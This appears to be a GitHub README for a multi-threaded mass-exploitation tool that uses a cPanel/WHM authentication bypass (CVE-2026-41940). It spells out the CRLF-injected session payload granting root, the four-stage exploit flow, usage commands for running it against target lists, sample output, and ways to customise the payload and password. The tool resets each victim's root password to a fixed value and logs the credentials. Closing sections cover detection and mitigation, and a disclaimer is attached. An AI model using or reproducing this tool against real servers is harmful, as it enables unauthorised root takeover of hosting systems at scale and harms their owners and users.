
Bulk scanner and mass exploitation tool for CVE-2026-41940 on cPanel/WHM, built for automated target validation and high-speed multi-threaded execution.
CVE-2026-41940 is a critical authentication bypass vulnerability in WHM/cPanel that allows attackers to bypass authentication and gain root access to a server without valid credentials. The vulnerability leverages CRLF injection in the session handling mechanism to inject malicious session parameters.
This tool provides mass exploitation capabilities with multi-threading support for testing multiple targets simultaneously, featuring intelligent success detection and automatic filtering of invalid targets.
| Feature | Description |
|---|---|
| ✅ Mass Exploitation | Scan and exploit multiple targets from a list file |
| 🚀 Multi-threading | Configurable thread count for faster scanning (default: 15) |
| 🔐 Auto Password Change | Changes root password to Jenderal92 on successful exploit |
| 🛡️ Smart Success Detection | Automatically detects various WHM API response formats |
| ⚠️ License Error Filtering | Excludes targets with invalid/cannot read license errors |
| 📝 Structured Output | Saves only confirmed successes in `domain:port |
| 🛡️ SSL/TLS Support | Handles self-signed certificates automatically |
| 🔄 Session Management | Automatic session extraction, cookie injection, and token handling |
| ⏱️ Timeout Control | Configurable connection timeout (default: 15 seconds) |
| 🔍 Pre-connection Check | Verifies port availability before exploitation attempt |
| 📊 Real-time Progress | Shows detailed progress for each exploitation stage |
pip install requests urllib3 futures
Or use requirements.txt:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Install dependencies
pip install -r requirements.txt
# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py
Create a targets.txt file with one target per line:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
Note: Port
2087is the default WHM port. If not specified, it will automatically use port 2087. HTTP/HTTPS prefix will be added automatically if missing.
python2 CVE-2026-41940.py targets.txt
# Use 5 concurrent threads
python2 CVE-2026-41940.py targets.txt --threads 5
# Use 20 threads for faster scanning
python2 CVE-2026-41940.py targets.txt --threads 20
# Override Host header for all targets
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Set timeout to 30 seconds for slow connections
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
res.txt)Only confirmed successful exploits are saved. Targets with license errors, failed password changes, or connection issues are automatically excluded.
Format:
domain:port|root|Jenderal92
Example output:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
The following targets will NOT be saved to res.txt:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED
==================================================
[*] Checking target: 127.0.0.1
Original input: 127.0.0.1
Normalized: https://127.0.0.1:2087
Port 2087: OPEN
Testing connection... OK (HTTP 200)
[0] hostname = example.com
[1] minting a preauth session...
session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] attempting to change the root password
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!
[✓] SUCCESS & SAVED: 127.0.0.1:2087
Saved to res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4
[+] Results saved to res.txt
Successfully exploited targets (password changed to Jenderal92):
✓ 127.0.0.1:2087
The exploit consists of 4 main stages with intelligent verification:
[1] minting a preauth session...
/login/?login_only=1 with invalid credentialswhostmgrsession cookie from the server response,<obhex> portion[2] sending the CRLF injection...
Authorization: Basic header containing malicious payloadroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) characters inject fake session parametersLocation header containing the cp_security_token[3] firing do_token_denied to propagate...
/scripts2/listaccts endpoint with the manipulated cookiedo_token_denied mechanism in WHM[4] verifying we're WHM root...
/json-api/version to verify root-level access/json-api/passwd API to change root password to Jenderal92{"metadata": {"result": 1}} (cPanel v11.118+){"status": 1} (older versions){"result": [{"status": 1}]} (legacy format)The tool automatically excludes:
{"status": 0, "statusmsg": "Cannot Read License File"}# WHM access log
/usr/local/cpanel/logs/access_log
# cPanel error log
/usr/local/cpanel/logs/error_log
# Authentication log
/var/log/secure
# System messages
/var/log/messages
Update WHM/cPanel to the latest patched version immediately
/usr/local/cpanel/scripts/upcp
Enable Two-Factor Authentication (2FA) for all accounts, especially root
WHM → Security Center → Two-Factor Authentication
Restrict WHM access with IP whitelisting
WHM → Security Center → Host Access Control
Monitor access logs regularly for suspicious patterns
tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
Change all passwords if compromise is suspected
Use firewall rules to restrict access to port 2087
# Allow only trusted IPs
iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP
# Or use CSF/LFD firewall
csf -a YOUR_TRUSTED_IP
Implement WAF rules to detect CRLF injection attempts
Regular security audits of WHM/cPanel installations
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10
# targets.txt can contain various formats:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50
# All will be normalized automatically
python2 CVE-2026-41940.py targets.txt --threads 15
Problem: Using Python 3 instead of Python 2.7
Solution: This tool requires Python 2.7 specifically.
# Check Python version
python2 --version # Must show Python 2.7.x
# Run with python2 explicitly
python2 CVE-2026-41940.py targets.txt
Problem: Target is offline or firewall blocking
Solution:
# Test manually
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087
Problem: Target may be patched or not running WHM
Solution:
https://target:2087Solution: Adjust thread count and timeout
# For many targets with good connectivity
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10
# For unreliable connections
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45
Note: Targets showing Cannot Read License File are automatically excluded from res.txt. This is expected behavior as password changes won't work on unlicensed WHM installations.
You can modify PAYLOAD_B64 for custom session parameters:
import base64
# Custom payload
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""
encoded = base64.b64encode(payload.encode())
print(encoded)
Change the password in the do_passwd() function (line ~280):
{"user": "root", "password": "YourCustomPassword123"}
The do_passwd() function can be modified to detect custom WHM response formats:
# Add custom pattern in do_passwd()
if 'your_custom_success_string' in (r.text or '').lower():
return "success"
Contributions are welcome! Please follow these steps:
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)If this tool is useful for your security research, please give it a ⭐ on GitHub!
Q: Can this tool be detected?
A: Yes, this tool leaves traces in WHM/cPanel access logs. Use only with proper authorization and for legitimate security testing.
Q: How long does exploitation take?
A: Approximately 5-15 seconds per target depending on network latency and server response time.
Q: Does it require prior root access?
A: No, this exploit works completely externally without any authentication.
Q: Does this tool work on Windows?
A: Yes, as long as Python 2.7 is properly installed and configured.
Q: My target uses a different port, what should I do?
A: Specify the port in the target URL: https://target.com:2083 for cPanel or any custom port.
Q: Why are some targets not saved to res.txt even though the exploit worked?
A: The tool only saves targets where the password was successfully changed. Targets with license errors, failed password changes, or other issues are excluded even if the authentication bypass was successful.
Q: What WHM/cPanel versions are vulnerable?
A: Versions prior to the CVE-2026-41940 patch. Check cPanel's changelog for the patched version.
Jenderal92 on successful exploitation2087 (automatically used if not specified)res.txtres.txt file (old results are deleted)
Created for educational security research purposes
Use responsibly, stay legal, stay ethical
⚠️ CRITICAL WARNING!
This tool was created exclusively for:
- ✅ Educational purposes and security research
- ✅ Authorized penetration testing
- ✅ Security assessments on systems you own
- ✅ Vulnerability verification with written permission
STRICTLY PROHIBITED uses:
- ❌ Accessing systems without explicit authorization
- ❌ Any form of illegal activities
- ❌ Malicious actions or causing harm to systems
- ❌ Unauthorized access to any computer systems
- ❌ Violating any local, state, or federal laws
The author(s) assume NO responsibility or liability for any misuse, damage, or consequences resulting from the use of this tool. By using this tool, you agree to use it only on systems you own or have explicit written authorization to test.
If you proceed, you acknowledge that:
- You have authorization to test the target systems
- You understand the legal implications of unauthorized access
- You will comply with all applicable laws and regulations
- The author(s) are not responsible for your actions
More Disclaimer You Can see the disclaimer on the cover of Jenderal92. You can check it HERE !!!
| Argument | Description | Default | Required |
|---|
list_file | File containing target list (one per line) | - | ✅ Yes |
--threads | Number of concurrent threads | 15 | ❌ No |
--hostname | Override Host header for all targets | Auto-discover | ❌ No |
--timeout | Connection timeout in seconds | 15 | ❌ No |
| Indicator | Description |
|---|
Anomalous whostmgrsession cookie | Unusual cookie patterns without proper authentication |
| CRLF characters in headers | Detection of \r\n sequences in HTTP headers |
/scripts2/listaccts access | Unauthorized access to this path |
Password Jenderal92 | Successful login using this specific password |
cpsess token leakage | Security token visible in Location header |
| Failed login followed by success | POST to /login/?login_only=1 with wrong password, then privileged access |